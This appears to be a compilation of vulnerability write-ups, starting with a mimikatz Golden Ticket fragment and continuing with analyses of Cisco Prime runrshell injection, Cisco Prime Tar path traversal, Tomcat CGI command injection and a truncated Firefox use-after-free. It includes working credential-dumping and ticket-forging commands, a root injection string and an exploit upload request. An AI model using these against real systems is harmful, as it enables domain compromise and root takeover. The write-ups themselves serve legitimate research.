63a91e73 51 push ecx 63a91e74 ff5018 call dword ptr [eax+18h] 63a91e77 e98373ffff jmp KDCSVC!KdcVerifyPacSignature+0x357 (63a891ff)
[*] Golden attack:
(1) From the AD:
mimikatz # privilege::debug Privilege '20' OK mimikatz # lsadump::lsa /inject /name:krbtgt Domain : SMALLBUSINESS / S-1-5-21-1053798420-2132824579-2427655443 RID : 000001f6 (502) User : krbtgt * Primary LM : NTLM : 6375ac5dba2a03b83002ba6e6e96c547 <-- it is what we need! * WDigest 01 bf816f365e0fac18a06269b62fdec3cd 02 60bcd5b31db779bee316ead3f9f2bdc5 03 052450bedad3c62b6c7ac2e0518cced6 04 bf816f365e0fac18a06269b62fdec3cd 05 60bcd5b31db779bee316ead3f9f2bdc5 06 6b46611bab1bfc37642831eb4c378a3c 07 bf816f365e0fac18a06269b62fdec3cd 08 36d36b240d95960b3280c17f3dbdd4ef 09 36d36b240d95960b3280c17f3dbdd4ef 10 7700dc3feea8de94dfe42fadd189b562 11 cf5dd5487a5bf52ddb92114e11b35258 12 36d36b240d95960b3280c17f3dbdd4ef 13 85c06a5e70ebb4ea9ea94ec741afc3f4 14 cf5dd5487a5bf52ddb92114e11b35258 15 9e215c82295f151f068a61dcfc25df79 16 9e215c82295f151f068a61dcfc25df79 17 2bbe05a083dd57a8db17231355da9ef5 18 d66e91d4fcd16a0e98c16bec14676e06 19 63381fd3a292e6d6c89ced1f6b14e580 20 111ef3e25e5237fea3190ae4924c981c 21 68c6af34d37db9eeed0e32540f60fe3a 22 68c6af34d37db9eeed0e32540f60fe3a 23 207d5247bd7dac0b5100035d0d6ffb6d 24 5db537f6bfc59059821180dc06e18696 25 5db537f6bfc59059821180dc06e18696 26 f8247c1ccff30ab886e699e401c98241 27 03ddbc3697b4eac454c5c8a5746c4165 28 98b8c45c30f3eb9727de422e2ff11429 29 72fed805b12f04991c8326e8664f909f * Kerberos Default Salt : SMALLBUSINESS.LOCALkrbtgt Credentials des_cbc_md5 : 497f68d05db65be0 des_cbc_crc : 497f68d05db65be0
6375ac5dba2a03b83002ba6e6e96c547
(2) From the machine we’re attacking (user juan):
kerberos::golden /domain:SMALLBUSINESS.local /sid:S-1-5-21-1053798420-2132824579-2427655443 /user:juan /id:1116 /groups:513,500 /krbtgt:6375ac5dba2a03b83002ba6e6e96c547
That’s all.
I think the idea is similar to the golden attac, but hopefully we don’t need the
krbtgt key anymore. Even when I can modify the SignatureType, and create RC4
encrypted tickets with different signautres. The key is needed still to encrypt
a ticket.
So, by modifying mimikatz I can easily create different “malformed tickets”. Even
when I can switch the signature mekanism I neeed the krbtgt hash to encrypt the
TGT ticket.
(Hash for DES)
kerberos::golden /domain:SMALLBUSINESS.local /sid:S-1-5-21-1053798420-2132824579-2427655443 /user:juan /id:1116 /groups:513,500 /krbtgt:497f68d05db65be0
- To check the signature used by ValidationInfo I’m using the next breakoint:
bp 63a89167 "r edx; dd edx L1; kb 4; g"
Technical Analysis
Background
Cisco Prime Infrastructure (CPI) is a wired and wireless network management software suite that consists of different networking applications from Cisco Systems. The system is used across various industries, from healthcare, manufacturing, government, IT, etc.
A vulnerability was found in the runrshell binary, which would allow a local user to gain control under the context of root. It is also chained by other publicly known CPI remote exploits to get root in one shot, such as CVE-2018-15379 by Pedro Ribeiro, and CVE-2019-1821 by Steven Seeley.
As of now, there appears to be no patch from Cisco.
System Setup
All versions of Cisco Prime Infrastructure should be affected by this. In order to set up a machine for testing purposes, you want to at least prepare the following:
- 4 CPU cores.
- 12288 MB of RAM (12 GB)
- 350 GB of space.
Technical Details
The runrshell binary in Cisco Prime Infrastructure is rather a small C program, which looks like this in IDA:
.text:0000000000400634 ; int __cdecl main(int argc, const char **argv, const char **envp) .text:0000000000400634 public main .text:0000000000400634 main proc near ; DATA XREF: _start+1D↑o .text:0000000000400634 .text:0000000000400634 var_820 = qword ptr -820h .text:0000000000400634 var_814 = dword ptr -814h .text:0000000000400634 dest = byte ptr -810h .text:0000000000400634 var_10 = dword ptr -10h .text:0000000000400634 var_4 = dword ptr -4 .text:0000000000400634 .text:0000000000400634 push rbp .text:0000000000400635 mov rbp, rsp .text:0000000000400638 sub rsp, 820h .text:000000000040063F mov [rbp+var_814], edi .text:0000000000400645 mov [rbp+var_820], rsi .text:000000000040064C mov edi, 0 ; uid .text:0000000000400651 call _setuid .text:0000000000400656 mov edi, 0 ; gid .text:000000000040065B call _setgid .text:0000000000400660 mov edx, 1 ; replace .text:0000000000400665 mov esi, offset value ; "/opt/CSCOlumos/rcmds" .text:000000000040066A mov edi, offset name ; "PATH" .text:000000000040066F call _setenv .text:0000000000400674 mov ecx, offset aBinBashRC ; "/bin/bash -r -c \"" .text:0000000000400679 lea rax, [rbp+dest] .text:0000000000400680 mov edx, 12h ; n .text:0000000000400685 mov rsi, rcx ; src .text:0000000000400688 mov rdi, rax ; dest .text:000000000040068B call _memcpy .text:0000000000400690 mov [rbp+var_4], 0 .text:0000000000400697 mov [rbp+var_4], 1 .text:000000000040069E jmp short loc_4006E3 .text:00000000004006A0 ; --------------------------------------------------------------------------- .text:00000000004006A0 .text:00000000004006A0 loc_4006A0: ; CODE XREF: main+BB↓j .text:00000000004006A0 mov eax, [rbp+var_4] .text:00000000004006A3 cdqe .text:00000000004006A5 shl rax, 3 .text:00000000004006A9 add rax, [rbp+var_820] .text:00000000004006B0 mov rax, [rax] .text:00000000004006B3 mov rdx, rax .text:00000000004006B6 lea rax, [rbp+dest] .text:00000000004006BD mov rsi, rdx ; src .text:00000000004006C0 mov rdi, rax ; dest .text:00000000004006C3 call _strcat .text:00000000004006C8 mov edx, offset src ; " " .text:00000000004006CD lea rax, [rbp+dest] .text:00000000004006D4 mov rsi, rdx ; src .text:00000000004006D7 mov rdi, rax ; dest .text:00000000004006DA call _strcat .text:00000000004006DF add [rbp+var_4], 1 .text:00000000004006E3 .text:00000000004006E3 loc_4006E3: ; CODE XREF: main+6A↑j .text:00000000004006E3 mov eax, [rbp+var_814] .text:00000000004006E9 sub eax, 1 .text:00000000004006EC cmp eax, [rbp+var_4] .text:00000000004006EF jge short loc_4006A0 .text:00000000004006F1 mov edx, offset asc_400856 ; "\"" .text:00000000004006F6 lea rax, [rbp+dest] .text:00000000004006FD mov rsi, rdx ; src .text:0000000000400700 mov rdi, rax ; dest .text:0000000000400703 call _strcat .text:0000000000400708 lea rax, [rbp+dest] .text:000000000040070F mov rdi, rax ; command .text:0000000000400712 call _system .text:0000000000400717 mov [rbp+var_10], 0 .text:000000000040071E mov [rbp+var_10], eax .text:0000000000400721 mov eax, [rbp+var_10] .text:0000000000400724 and eax, 0FF00h .text:0000000000400729 sar eax, 8 .text:000000000040072C leave .text:000000000040072D retn .text:000000000040072D main endp
We can see that initially, the binary wants to be run as root:
mov [rbp+var_814], edi mov [rbp+var_820], rsi mov edi, 0 ; uid call _setuid mov edi, 0 ; gid call _setgid
The next thing that happens is, it tries to set the PATH environment variable to a specific path, which intends to limit what the user can execute:
mov edx, 1 ; replace mov esi, offset value ; "/opt/CSCOlumos/rcmds" mov edi, offset name ; "PATH" call _setenv
Not only that, the program also wants to spawn a restricted shell, probably trying to guard the PATH variable being changed, plus other protections.
mov ecx, offset aBinBashRC ; "/bin/bash -r -c \"" lea rax, [rbp+dest] mov edx, 12h ; n mov rsi, rcx ; src mov rdi, rax ; dest call _memcpy
However, all this falls apart when the program uses system()
to execute the command, with the user having control of the dest
argument, allowing command injection:
mov edx, offset asc_400856 ; "\"" lea rax, [rbp+dest] mov rsi, rdx ; src mov rdi, rax ; dest call _strcat lea rax, [rbp+dest] mov rdi, rax ; command call _system
As a result, we can still execute arbitrary commands with runrshell:
ade # id uid=500(admin) gid=110(gadmin) groups=110(gadmin) context=unconfined_u:system_r:unconfined_t:s0-s0:c0.c1023 ade # /opt/CSCOlumos/bin/runrshell '" && /usr/bin/id #' uid=0(root) gid=0(root) groups=0(root),110(gadmin) context=unconfined_u:system_r:unconfined_t:s0-s0:c0.c1023 ade #
Technical Analysis
Description
Cisco Prime Infrastructure (CPI) is a wired and wireless network management software suite that consists of different networking applications from Cisco Systems. The system is used across various industries, from healthcare, manufacturing, government, IT, etc.
A vulnerability was found in the HealthMonitor component, specifically the TarArchive class that is used to extract a Tar file. An unauthenticated user can upload a Tar file that embeds a malicious JSP payload, with a path that traverses back to the web directory. After extraction, the user can send a GET request to trigger the JSP payload, and gain arbitrary remote code execution.
It was originally discovered by Steven Seeley (mr_me) of Source Incite. A detailed write-up is also available here.
Vulnerable Setup
To trigger this vulnerability, you will need a primary and a secondary server (from the same ISO). Both images require the same hardware setup:
- 4 CPU cores.
- 12288 MB of RAM (12 GB).
- 350GB of space.
- Both VMs should be on the same network.
Make sure the primary server is installed first. To actually recreate the specific vulnerable environment the exploit needs, you will need to install the PI_3_4_1-1.0.27.ubf patch (56a2acbcf31ad7c238241f701897fcb1). Also, create an authentication key, which is completely arbitrary, just like a password. And finally, check with iptables and make sure port 80 isn’t blocked if that’s the case:
The next VM is the secondary server. The installation is almost the same way, except that you just need to remember to choose you’re installing it as a secondary. The setup wizard will ask you the authentication key, and the rest is easy.
For the final step, go to the primary server’s administration page, and establish the HA connection to the secondary server.
Vulnerability Details
Our vulnerability started off with a public report from Source Incite (SRC-2019-0034), which provides the important details about the issue:
The specific flaw exists within the TarArchive class. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. A (remote) attacker can leverage this vulnerability to execute code under the context of root.
After obtaining the vulnerable software and setting it up (thanks to Steven), and SSH into the machine, we start looking for our first clue: the TarArchive class.
After browsing around the file system, it looks like most of the CPI code can be found in the /opt/CSCOlumos/
directory. That is where we want to begin.
Starting Point: Tar Extraction
At first glance, it isn’t very clear how or where the TarArchive class is used, so our first attempt is do a grep for TarArchive, and these results come up:
$ grep -R TarArchive * Binary file compliance/lib/commons-compress-1.8.jar matches Binary file compliance/lib/IAClasses.zip matches Binary file lib/pf_third_party/com.cisco.xmp.osgi.tar-2.5.jar matches Binary file lib/xmp-third-party/xdi-2.0.0.jar matches Binary file lib/ifm_third_party/commons-compress-1.9.jar matches Binary file staging/pf/com.cisco.xmp.osgi.tar-2.5.jar matches Binary file staging/ifm/commons-compress-1.9.jar matches Binary file staging/ifm/compliance-11-zip.zip matches
By going through a few of these with some guesses using a Java decompiler, we found the actual file that contains TarArchive.class:
/opt/CSCOlumos/lib/pf_third_party/com.cisco.xmp.osgi.tar-2.5.jar
As the path implies, TarArchive is really just a third party library, so we also need to learn which Cisco component is using it. This isn’t difficult to figure out. In java, in order to use a library, you must import it first. Back in the jar file, we know that the TarArchive class is in the com.ice.tar
package, so again, let’s grep for that:
$ grep -iR "ice.tar" * Binary file pf/rfm-3.4.0.0.348.jar matches Binary file pf_third_party/com.cisco.xmp.osgi.tar-2.5.jar matches Binary file xmp-third-party/xdi-2.0.0.jar matches
Going through these files, the rfm-3.4.0.0.348.jar seems to be an ideal choice, because there is another class called FileArchiver, which uses the TarArchive.
The FileArchiver class has a method called extractArchive, this definitely stands out because our vulnerability is about unsafely extracting a Tar. This isn’t a big method, and it doesn’t take too long to realize that there are only two important lines of code:
if (destDir != null) { try { setupReadArchive(istream); this.archive.extractContents(destDir); result = true; } ...
So let’s take a look at setupReadArchive first. It looks like the most important purpose of this method is really to load our Tar file as an InputStream, and load it with TarArchive in this.archive
:
private boolean setupReadArchive(InputStream istream) throws IOException { if (this.archiveName != null && istream == null) { try { this.inStream = new FileInputStream(this.archiveName); } catch (IOException ex) { this.inStream = null; return false; } } else { this.inStream = istream; } if (this.inStream != null) { if (this.compressed) { try { this.inStream = new GZIPInputStream(this.inStream); } catch (IOException ex) { this.inStream = null; } if (this.inStream != null) { this.archive = new TarArchive(this.inStream, '���'); } } else { this.archive = new TarArchive(this.inStream, '���'); } } ...
The next task is calling TarArchive’s extractContents method, which is really more like a wrapper for the extractEntry method, so we look at that instead:
private void extractEntry(File paramFile, TarEntry paramTarEntry) throws IOException { if (this.verbose && this.progressDisplay != null) this.progressDisplay.showTarProgressMessage(paramTarEntry.getName()); String str = paramTarEntry.getName(); str = str.replace('/', File.separatorChar); File file = new File(paramFile, str); if (paramTarEntry.isDirectory()) { if (!file.exists() && !file.mkdirs()) throw new IOException("error making directory path '" + file.getPath() + "'"); } else { File file1 = new File(file.getParent()); if (!file1.exists() && !file1.mkdirs()) throw new IOException("error making directory path '" + file1.getPath() + "'"); if (this.keepOldFiles && file.exists()) { if (this.verbose && this.progressDisplay != null) this.progressDisplay.showTarProgressMessage("not overwriting " + paramTarEntry.getName()); } else { boolean bool = false; FileOutputStream fileOutputStream = new FileOutputStream(file); if (this.asciiTranslate) { MimeType mimeType = null; String str1 = null; try { str1 = FileTypeMap.getDefaultFileTypeMap().getContentType(file); mimeType = new MimeType(str1); if (mimeType.getPrimaryType().equalsIgnoreCase("text")) { bool = true; } else if (this.transTyper != null && this.transTyper.isAsciiFile(paramTarEntry.getName())) { bool = true; } } catch (MimeTypeParseException mimeTypeParseException) {} if (this.debug) System.err.println("EXTRACT TRANS? '" + bool + "' ContentType='" + str1 + "' PrimaryType='" + mimeType.getPrimaryType() + "'"); } PrintWriter printWriter = null; if (bool) printWriter = new PrintWriter(fileOutputStream); byte[] arrayOfByte = new byte[32768]; while (true) { int i = this.tarIn.read(arrayOfByte); if (i == -1) break; if (bool) { byte b1 = 0; for (byte b2 = 0; b2 < i; b2++) { if (arrayOfByte[b2] == 10) { String str1 = new String(arrayOfByte, b1, b2 - b1); printWriter.println(str1); b1 = b2 + 1; } } continue; } fileOutputStream.write(arrayOfByte, 0, i); } if (bool) { printWriter.close(); } else { fileOutputStream.close(); } } } }
The code is a bit thick, but there are some important lines to point out. In the beginning, the first argument of the method is actually the destination directory, which is passed to create a new File object, along with a name extracted from the Tar entry:
String str = paramTarEntry.getName(); str = str.replace('/', File.separatorChar); File file = new File(paramFile, str);
Physically, a Tar archive may have multiple entries, each describing a file. So the first line above pretty much says: “give me the name of this entry”. Since this goes to the File object, it is actually where the directory traversal bug is, because that name isn’t checked.
The File object then is passed to FileOutputStream, all the way to writing it, and closing the handle:
FileOutputStream fileOutputStream = new FileOutputStream(file); ... PrintWriter printWriter = null; if (bool) printWriter = new PrintWriter(fileOutputStream); byte[] arrayOfByte = new byte[32768]; while (true) { int i = this.tarIn.read(arrayOfByte); if (i == -1) break; if (bool) { byte b1 = 0; for (byte b2 = 0; b2 < i; b2++) { if (arrayOfByte[b2] == 10) { String str1 = new String(arrayOfByte, b1, b2 - b1); printWriter.println(str1); b1 = b2 + 1; } } continue; } fileOutputStream.write(arrayOfByte, 0, i); } ...
At this point, we have proof that TarArchive’s extraction feature is unsafe, the next thing we want to find out is how to actually trigger it remotely.
Attacker’s Entry Point: UploadServlet Class
We know that there is a wrapper class called FileArchive that is using TarArchive. The question to ask is: what is using FileArchive? Well, since the FileArchive class has this unique method named extractArchive, the educated guess here is that if there’s any code using it, they would be calling extractArchive.
Searching around that particular string in the decompiler, four results show up:
- FileArchiver.class
- FileConsumer.class
- FileExtractor.class
- UploadServlet.class
The first candidate obviously can be eliminated because that’s where the method comes from. If you’re at this point, it is REALLY difficult not to click on the UploadServlet, because anything that says “upload” in a web application is potentially a vulnerability.
Looking at the UploadServlet class, we immediately identity the code that is using the extractArchive
method:
private boolean processFileUploadStream(FileItemStream item, InputStream istream, String destDir, String archiveOrigin, boolean archiveIsCompressed, String archiveName, long sizeInBytes, String outputDir) throws IOException { boolean result = false; try { FileExtractor extractor = new FileExtractor(); AesLogImpl.getInstance().info(128, new Object[] { "processFileUploadStream: Start extracting archive = " + archiveName + " size= " + sizeInBytes }); extractor.setDebug(this.debugTar); result = extractor.extractArchive(istream, destDir, archiveOrigin, archiveIsCompressed); ...
The processFileUploadStream method is private, and called from a doPost method:
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { boolean archiveIsCompressed; String fileName = null; long fileSize = 0L; result = false; response.setContentType("text/html"); String destDir = request.getHeader("Destination-Dir"); archiveOrigin = request.getHeader("Primary-IP"); String fileCount = request.getHeader("Filecount"); fileName = request.getHeader("Filename"); String sz = request.getHeader("Filesize"); if (sz != null) fileSize = Long.parseLong(sz); String compressed = request.getHeader("Compressed-Archive"); if (compressed.equals("true")) { archiveIsCompressed = true; } else { archiveIsCompressed = false; } AesLogImpl.getInstance().info(128, new Object[] { "Received archive=" + fileName, " size=" + fileSize + " from " + archiveOrigin + " containing " + fileCount + " files to be extracted to: " + destDir }); ServletFileUpload upload = new ServletFileUpload(); upload.setSizeMax(-1L); PropertyManager pmanager = PropertyManager.getInstance(archiveOrigin); String outDir = pmanager.getOutputDirectory(); File fOutdir = new File(outDir); if (!fOutdir.exists()) { AesLogImpl.getInstance().info(128, new Object[] { "UploadServlet: Output directory for archives " + outDir + " does not exist. Continuing..." }); } String debugset = pmanager.getProperty("DEBUG"); if (debugset != null && debugset.equals("true")) { this.debugTar = true; AesLogImpl.getInstance().info(128, new Object[] { "UploadServlet: Debug setting is specified" }); } try { FileItemIterator iter = upload.getItemIterator(request); while (iter.hasNext()) { FileItemStream item = iter.next(); String name = item.getFieldName(); InputStream stream = item.openStream(); if (item.isFormField()) { AesLogImpl.getInstance().error(128, new Object[] { "Form field input stream with name " + name + " detected. Abort processing" }); response.sendError(500, "Servlet does not handle FormField uploads."); return; } result = processFileUploadStream(item, stream, destDir, archiveOrigin, archiveIsCompressed, fileName, fileSize, outDir); stream.close(); } } catch (Exception e) { AesLogImpl.getInstance().error(128, new Object[] { "doPost - Caught an Exception while handling fileUpload " + e }); } catch (OutOfMemoryError e) { AesLogImpl.getInstance().error(128, new Object[] { "doPost - Caught an OutOfMemoryError while handling fileUpload " }); } catch (Throwable e) { AesLogImpl.getInstance().error(128, new Object[] { "doPost - Caught a Throwable while handling fileUpload " + e }); } finally { if (result) { response.setStatus(200); } else { response.sendError(500, "Could not extract archive file from source " + archiveOrigin); AesLogImpl.getInstance().error1(128, "doPost - could not extract file from source "); } } }
For an HTTP client such as Metasploit’s HttpClient mixin, we can send a POST request like this to satisfy the conditions needed for the doPost
method:
post_data = Rex::MIME::Message.new post_data.add_part(tar.data, nil, nil, "form-data; name=\"files\"; filename=\"#{tar.tar_name}\"") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'servlet', 'UploadServlet'), 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'headers' => { 'Destination-Dir' => 'tftpRoot', 'Compressed-Archive' => 'false', 'Primary-IP' => '127.0.0.1', 'Filecount' => '1', 'Filename' => tar.tar_name, 'FileSize' => tar.length } })
At this point, it is clear to us that we can send a malicious Tar file via a POST request to the UploadServlet (without any authentication), and then that will get extracted by the TarArchive library, allowing us to save the payload outside the intended directory, and gain remote code execution.
Root Access?
It is worth pointing out that in the public advisory and proof-of-concept, the vulnerability is described to give you remote code execution as root. In reality, you actually only get a lower web privilege for exploiting the TarArchive vulnerability. However, in the /opt/CSCOlumos/bin folder, there is an executable called runrshell that actually can be abused to give you root privilege access, and as of now isn’t patched by Cisco. This means that as long as you are able to gain remote code execution on Cisco Prime Infrastructure, you should always be get root access by taking advantage of runrshell.
Credit
Special thanks to Steven Seeley for providing setup, vulnerability information, and other resources in order to produce the Metasploit module.
Technical Analysis
Background
Apache Tomcat is an open source implementation of the Java Servlet, JavaServer Pages, Java Expression Language and Java WebSocket technologies. It powers numerous large-scale, mission-critical web applications across a diverse range of industries and organizations.
The Common Gateway Interface (CGI) defines a way for a web server to interact with external content-generating programs, which are often referred to as CGI programs. Within Tomcat, CGI support is disabled by default, but can be manually added in the configuration file.
One of the configurations for the CGI servlet is enableCmdLineArguments, which allows command line arguments from the query string, but can be abused to inject system commands in order to gain remote code execution.
Vulnerable Setup
The following versions of Apache Tomcat on Windows are effected:
- 9.0.0.M1 to 9.0.17
- 8.5.0 to 8.5.39
- 7.0.0 to 7.0.93
Since enableCmdLineArguments isn’t enabled by default, the following code needs to be added in the conf/web.xml file:
<servlet> <servlet-name>cgi</servlet-name> <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class> <init-param> <param-name>cgiPathPrefix</param-name> <param-value>WEB-INF/cgi</param-value> </init-param> <init-param> <param-name>executable</param-name> <param-value></param-value> </init-param> <init-param> <param-name>enableCmdLineArguments</param-name> <param-value>true</param-value> </init-param> <load-on-startup>5</load-on-startup> </servlet>
Also:
<servlet-mapping> <servlet-name>cgi</servlet-name> <url-pattern>/cgi/*</url-pattern> </servlet-mapping>
Finally, a script should be added in the webapps\ROOT\WEB-INF\cgi directory, which is the trigger for the CGI servlet:
@echo off echo Content-Type: text/plain echo. echo Hello, World!
For convenience, a vulnerable setup of Apache Tomcat can be downloaded here. It was also used during the analysis on a x64 Windows 10 with JDK 8 installed.
Vulnerability Analysis
Static Code Analysis
In Apache Tomcat, CGI support is handled by the CGIServlet class, which can be found in the lib/catalina.jar file. You can easily find this by grepping for CGISeverlet as the keyword.
CGIServlet is a subclass of the abstract HttpServlet class, which is within the Java API. The way you want to start reading this code is by looking at the service method, which will tell you to go down to doGet, so let’s start with doGet:
protected void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException { CGIEnvironment cgiEnv = new CGIEnvironment(req, getServletContext()); if (cgiEnv.isValid()) { CGIRunner cgi = new CGIRunner(cgiEnv.getCommand(), cgiEnv.getEnvironment(), cgiEnv.getWorkingDirectory(), cgiEnv.getParameters()); if ("POST".equals(req.getMethod())) { cgi.setInput(req.getInputStream()); } cgi.setResponse(res); cgi.run(); } else { res.sendError(404); } if (log.isTraceEnabled()) { String[] cgiEnvLines = cgiEnv.toString().split(System.lineSeparator()); for (String cgiEnvLine : cgiEnvLines) { log.trace(cgiEnvLine); } printServletEnvironment(req); } }
The first thing that happens in the doGet method is creating a new instance of CGIEnvironment. The constructor of the class looks like this:
protected CGIEnvironment(HttpServletRequest req, ServletContext context) throws IOException { setupFromContext(context); setupFromRequest(req); this.valid = setCGIEnvironment(req); if (this.valid) { workingDirectory = new File(command.substring(0, command.lastIndexOf(File.separator))); } else { workingDirectory = null; } }
We see the first argument is an HttpServletRequest, which is extra interesting because since it’s an HTTP request, it implies there are user-controlled inputs. There are two methods that need the HTTP request: setupFromRequest, and setCGIEnvironment. Let’s take a look at the first:
protected void setupFromRequest(HttpServletRequest req) throws UnsupportedEncodingException { boolean isIncluded = false; // Look to see if this request is an include if (req.getAttribute( RequestDispatcher.INCLUDE_REQUEST_URI) != null) { isIncluded = true; } if (isIncluded) { this.contextPath = (String) req.getAttribute( RequestDispatcher.INCLUDE_CONTEXT_PATH); this.servletPath = (String) req.getAttribute( RequestDispatcher.INCLUDE_SERVLET_PATH); this.pathInfo = (String) req.getAttribute( RequestDispatcher.INCLUDE_PATH_INFO); } else { this.contextPath = req.getContextPath(); this.servletPath = req.getServletPath(); this.pathInfo = req.getPathInfo(); } // If getPathInfo() returns null, must be using extension mapping // In this case, pathInfo should be same as servletPath if (this.pathInfo == null) { this.pathInfo = this.servletPath; } // If the request method is GET, POST or HEAD and the query string // does not contain an unencoded "=" this is an indexed query. // The parsed query string becomes the command line parameters // for the cgi command. if (enableCmdLineArguments && (req.getMethod().equals("GET") || req.getMethod().equals("POST") || req.getMethod().equals("HEAD"))) { String qs; if (isIncluded) { qs = (String) req.getAttribute( RequestDispatcher.INCLUDE_QUERY_STRING); } else { qs = req.getQueryString(); } if (qs != null && qs.indexOf('=') == -1) { StringTokenizer qsTokens = new StringTokenizer(qs, "+"); while ( qsTokens.hasMoreTokens() ) { cmdLineParameters.add(URLDecoder.decode(qsTokens.nextToken(), parameterEncoding)); } } } }
The first block of the code about “include” can be skipped because that’s not what our request would be, so we want to focus on the second block:
if (enableCmdLineArguments && (req.getMethod().equals("GET") || req.getMethod().equals("POST") || req.getMethod().equals("HEAD"))) { String qs; if (isIncluded) { qs = (String) req.getAttribute( RequestDispatcher.INCLUDE_QUERY_STRING); } else { qs = req.getQueryString(); } if (qs != null && qs.indexOf('=') == -1) { StringTokenizer qsTokens = new StringTokenizer(qs, "+"); while ( qsTokens.hasMoreTokens() ) { cmdLineParameters.add(URLDecoder.decode(qsTokens.nextToken(), parameterEncoding)); } } }
The first thing that gets checked in the if condition is the enableCmdLineArguments variable, which is also mentioned in the advisory. By default, this option is set to false:
private boolean enableCmdLineArguments = false;
In the init function of CGIServlet, it is also clear for us that the setting needs to be configured in the config file in order to get loaded in the code:
if (getServletConfig().getInitParameter("enableCmdLineArguments") != null) { enableCmdLineArguments = Boolean.parseBoolean(config.getInitParameter("enableCmdLineArguments")); }
As the advisory and the code describe, when enableCmdLineArguments is enabled and the request is either GET, POST, or HEAD, we basically reach this part of the code:
qs = req.getQueryString();
Once the query string is loaded, that is normalized into command line parameters:
if (qs != null && qs.indexOf('=') == -1) { StringTokenizer qsTokens = new StringTokenizer(qs, "+"); while ( qsTokens.hasMoreTokens() ) { cmdLineParameters.add(URLDecoder.decode(qsTokens.nextToken(), parameterEncoding)); } }
Back to the doGet method, after the command line parameters are loaded. We are at this block of code:
CGIRunner cgi = new CGIRunner(cgiEnv.getCommand(), cgiEnv.getEnvironment(), cgiEnv.getWorkingDirectory(), cgiEnv.getParameters()); if ("POST".equals(req.getMethod())) { cgi.setInput(req.getInputStream()); } cgi.setResponse(res); cgi.run();
CGIRunner is a class that actually executes the CGI program, which occurs in the run method. The run method is really big, so it would be too much code to post but basically this is where code execution is gained:
rt = Runtime.getRuntime(); proc = rt.exec( cmdAndArgs.toArray(new String[cmdAndArgs.size()]), hashToStringArray(env), wd);
The run method also handles the program output that is returned to the HTTP client, which is another bonus for the attacker.
Dynamic Analysis
To verify this execution flow, we can use IntelliJ to set up some breakpoints to observe. To do this, first add the following to the bin/startup.bat file (at around line 21):
set JAVA_OPTS=-Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,address=4000,server=y,suspend=n
Next, start that file. There will be two important ports running: 4000 is the debugging port, and 8080 is the Tomcat server where the CGI program is served. Connect port 4000 with IntelliJ.
There are many possible methods we can add breakpoints for, but since we have seen that the Java’s Runtime class is used to execute the CGI program, we can add a breakpoint right there:
java.lang.Runtime.exec
When we visit the CGI program, the breakpoint should trigger with the following backtrace:
exec:617, Runtime (java.lang) run:1579, CGIServlet$CGIRunner (org.apache.catalina.servlets) doGet:575, CGIServlet (org.apache.catalina.servlets) service:538, CGIServlet (org.apache.catalina.servlets) service:741, HttpServlet (javax.servlet.http) internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) doFilter:53, WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) invoke:200, StandardWrapperValve (org.apache.catalina.core) invoke:96, StandardContextValve (org.apache.catalina.core) invoke:490, AuthenticatorBase (org.apache.catalina.authenticator) invoke:139, StandardHostValve (org.apache.catalina.core) invoke:92, ErrorReportValve (org.apache.catalina.valves) invoke:678, AbstractAccessLogValve (org.apache.catalina.valves) invoke:74, StandardEngineValve (org.apache.catalina.core) service:343, CoyoteAdapter (org.apache.catalina.connector) service:408, Http11Processor (org.apache.coyote.http11) process:66, AbstractProcessorLight (org.apache.coyote) process:834, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1415, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748, Thread (java.lang)
For the extra file, we can also attach WinDBG to java.exe. You may have multiple java.exe for whatever reason, just make sure you’re attaching the one that listens on port 8080. In WinDBG, add this breakpoint:
bu KERNELBASE!CreateProcessW
Again, when you visit the CGI program, you should see that Java is using CreateProcessW to launch the CGI program:
0:021> r rax=0000000000000001 rbx=0000000008000400 rcx=0000000000000000 rdx=0000000017bbdd80 rsi=0000000017f869f8 rdi=ffffffffffffff00 rip=00007ffd8d423dd0 rsp=0000000019d7dee8 rbp=0000000019d7e050 r8=0000000000000000 r9=0000000000000000 r10=0000000000000000 r11=0000000019d7df48 r12=0000000000000000 r13=0000000000000064 r14=00000000176d8980 r15=0000000000000060 iopl=0 nv up ei pl nz na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 KERNELBASE!CreateProcessW: 00007ffd`8d423dd0 4c8bdc mov r11,rsp 0:021> du rdx 00000000`17bbdd80 "C:\Users\sinn3r\Desktop\apache-t" 00000000`17bbddc0 "omcat-9.0.17\webapps\ROOT\WEB-IN" 00000000`17bbde00 "F\cgi\test.bat &echo CQdjFeaVZh"
It looks we are calling test.bat (the CGI program) with an arbitrary echo command. At this point, we have proven the exploitability of the vulnerability.
Technical Analysis
The vulnerability is easy enough to reproduce. A use-after-free vulnerability can occur after deleting a selection element due to a weak reference to the select element in the options collection, which gets garbage collected, and results in a potentially exploitable crash.
However, it seems jemalloc’s free chunk poisoning feature makes it tricky to gain control of the freed select element, therefore making exploitation more difficult in theory. Currently, there are no known working exploit in public.
Description
Firefox is a free and open-source web browser developed by the Mozilla Foundation.
A use-after-free vulnerability can occur after deleting a selection element due to a weak reference to the select element in the options collection, which gets garbage collected, and results in a potentially exploitable crash. Originally, it was discovered by Nils.
Vulnerable Version
Version 29 through 63 are affected. The Mozilla Firefox archive can be found here.
To check out and build the vulnerable version, you can try:
$ hg pull $ hg update -r 12afa29e9c8cde597314f072c6f0c1f81d681b40 $ ./mach build
You may need to fix up some errors in order to build Firefox for the above commit. In my case, I ran into some Rust errors related to lack of macro documentation .
Patch
